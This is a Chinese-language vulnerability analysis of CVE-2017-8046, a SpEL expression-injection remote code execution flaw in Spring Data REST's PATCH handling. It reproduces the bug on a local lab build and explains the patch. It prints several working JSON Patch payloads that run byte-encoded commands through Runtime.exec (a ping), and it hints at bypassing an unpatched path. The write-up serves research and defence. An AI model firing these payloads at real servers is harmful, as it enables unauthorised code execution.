来源:先知安全技术社区
作者:廖新喜
近日,Pivotal 官方发布通告表示 Spring-data-rest 服务器在处理 PATCH 请求时存在一个远程代码执行漏洞(CVE-2017-8046)。攻击者可以构造恶意的 PATCH 请求并发送给 spring-date-rest 服务器,通过构造好的 JSON 数据来执行任意 Java 代码。官方已经发布了新版本修复了该漏洞。
相关地址: https://pivotal.io/security/cve-2017-8046
受影响的版本
不受影响的版本
解决方案:
官方已经发布了新版本修复了该漏洞,受影响的用户请尽快升级至最新版本来防护该漏洞。
参考链接:
https://projects.spring.io/spring-data-rest/
https://projects.spring.io/spring-boot/
从官方的描述来看就是就是 Spring-data-rest 服务处理 PATCH 请求不当,导致任意表达式执行从而导致的 RCE。
首先来看下补丁,主要是 evaluateValueFromTarget 添加了一个校验方法 verifyPath,对于不合规格的 path 直接报异常退出,主要是 property.from(pathSource,type)实现,基本逻辑就是通过反射去验证该 Field 是否存在于 bean 中。
直接拉取https://github.com/spring-projects/spring-boot/tree/master/spring-boot-samples
,找到 spring-rest-data 这个项目,直接用 IDEA 一步步导入进去即可,直接运行就能看到在本地的 8080 端口起了 jetty 服务。但是请注意这编译好的是最新版本,要引入漏洞,当然得老版本,修改 pom.xml,添加 plugin,具体如下:
<dependency> <groupId>org.springframework.data</groupId> <artifactId>spring-data-rest-webmvc</artifactId> <version>3.0.0.RC2</version> </dependency>
从项目 test 目录找到相关请求形式,发送http://127.0.0.1:8080/api/cities/1
即可看到回显表明服务正常启动。测试 poc 的效果如下:
这个 poc 的几个关键点在于:Content-Type: application/json-patch+json,path路径一定得用斜杠/隔开,至于为什么,后续会讲到。op 支持的操作符很多,包括 test,add,replace 等都可以触发,op 不同,path 中添加的 poc 可以不一样,如 op 为 test 时就少了很多限制。如下是 op 为 add 时候的请求 body。
[{"op":"add","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))/xxlegend"}]
执行 ping 192.168.3.106
漏洞的触发过程详细分析见文档 ,这里已经描述的比较清楚,在这里不再重述,这篇文档后续的分析主要是对 poc 的一些解读。
随便拿一个以前 spring 表达式注入的 poc 作为 path 的参数值,如 poc:
[{"op":"add","path":"new java.lang.String(new byte[]{70, 66, 66, 50, 48, 52, 65, 52, 48, 54, 49, 70, 70, 66, 68, 52, 49, 50, 56, 52, 65, 56, 52, 67, 50, 53, 56, 67, 49, 66, 70, 66})" }]
这个请求的特别之处在于 path 字段值后边没有了斜杠。
会报如下错误:
Caused by: org.springframework.expression.spel.SpelEvaluationException: EL1032E: setValue(ExpressionState, Object) not supported for 'class org.springframework.expression.spel.ast.ConstructorReference' at org.springframework.expression.spel.ast.SpelNodeImpl.setValue(SpelNodeImpl.java:148) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE] at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:416) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE] at org.springframework.data.rest.webmvc.json.patch.PatchOperation.addValue(PatchOperation.java:148) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na] at org.springframework.data.rest.webmvc.json.patch.AddOperation.perform(AddOperation.java:48) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na] at org.springframework.data.rest.webmvc.json.patch.Patch.apply(Patch.java:64) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na] at org.springframework.data.rest.webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na] at org.springframework.data.rest.webmvc.config.JsonPatchHandler.apply(JsonPatchHandler.java:83) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na] at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.readPatch(PersistentEntityResourceHandlerMethodArgumentResolver.java:200) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
说明 path 参数确实被污染,此处存在表达式注入漏洞,虽然已经进入表达式的执行流程,但是这里却报错退出。离 RCE 还差一步,查看org.springframework.expression.spel.ast.SpelNodeImpl.setValue
方法
@Override public void setValue(ExpressionState expressionState, Object newValue) throws EvaluationException { throw new SpelEvaluationException(getStartPosition(), SpelMessage.SETVALUE_NOT_SUPPORTED, getClass()); }
这个方法直接抛出异常,那看来 poc 离执行还有一段距离。直接调出setValue的实现,发现有五个地方重写了该方法。SpelNodeImpl 的 setValue 也在其中,但是它是直接抛出异常的,算一个异常检查吧。查看他们的实现,只有CompoundExpression,Indexer,PropertyOrFieldReference
真正存在执行表达式。
查看相关文档得知 CompoundExpression 是复杂表达式,用.连接起来的都算。
Indexer 一般是这么表示 test[xxlegend],那么可以把 poc 改成
[{"op":"add","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))[xxlegend]" }]
这也是可以运行的。再看调用栈也是符合我们刚才理解到
SpelExpression.setValue--》 CompoundExpression.setValue--》 CompoundExpression.getValueRef--》 Indexer.getValueRef--》 PropertyOrFieldReference.getValueInternal--》 PropertyOrFieldReference.readProperty
Caused by: org.springframework.expression.spel.SpelEvaluationException: EL1008E: Property or field 'xxlegend' cannot be found on object of type 'sample.data.rest.domain.City' - maybe not public? at org.springframework.expression.spel.ast.PropertyOrFieldReference.readProperty(PropertyOrFieldReference.java:224) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE] at org.springframework.expression.spel.ast.PropertyOrFieldReference.getValueInternal(PropertyOrFieldReference.java:94) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE] at org.springframework.expression.spel.ast.PropertyOrFieldReference.getValueInternal(PropertyOrFieldReference.java:81) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE] at org.springframework.expression.spel.ast.Indexer.getValueRef(Indexer.java:123) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE] at org.springframework.expression.spel.ast.CompoundExpression.getValueRef(CompoundExpression.java:66) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE] at org.springframework.expression.spel.ast.CompoundExpression.setValue(CompoundExpression.java:95) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE] at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:416) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE] at org.springframework.data.rest.webmvc.json.patch.PatchOperation.addValue(PatchOperation.java:148) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na] at org.springframework.data.rest.webmvc.json.patch.AddOperation.perform(AddOperation.java:48) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na] at org.springframework.data.rest.webmvc.json.patch.Patch.apply(Patch.java:64) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na] at org.springframework.data.rest.webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na] at org.springframework.data.rest.webmvc.config.JsonPatchHandler.apply(JsonPatchHandler.java:83) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na] at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.readPatch(PersistentEntityResourceHandlerMethodArgumentResolver.java:200) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
前面都是讲 path 参数,也就是表达式的写法。在这个 poc 中还用到 op 参数,op 表示要执行的动作,在代码中定义了add,copy,from,move,replace,test 这么多操作值,add,test,replace 可直接触发漏洞,并且 test 非常直接,path 参数值无需斜杠/,[]来分割,poc 如下:
[{"op":"test","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))" }]
很明显这个 poc 的 path 参数值无线跟/ []来分割参数。原因就是它调用的是 SpelExpression.getValue,而非 test 情况下的 poc 最终调用的都是 SpelExpression.setValue,通过 setValue 调用 getValueRef 来达到表达式注入。
下面看看test的调用栈:
这个点官方也没修,但是有个限制:
@Override <T> void perform(Object target, Class<T> type) { Object expected = normalizeIfNumber(evaluateValueFromTarget(target, type)); Object actual = normalizeIfNumber(getValueFromTarget(target)); if (!ObjectUtils.nullSafeEquals(expected, actual)) { throw new PatchException("Test against path '" + path + "' failed."); } }
evaluateValueFromTarget 运行在前,会报错退出,导致 getValueFromTarget 不会被执行,怎么绕过去呢?值得思考。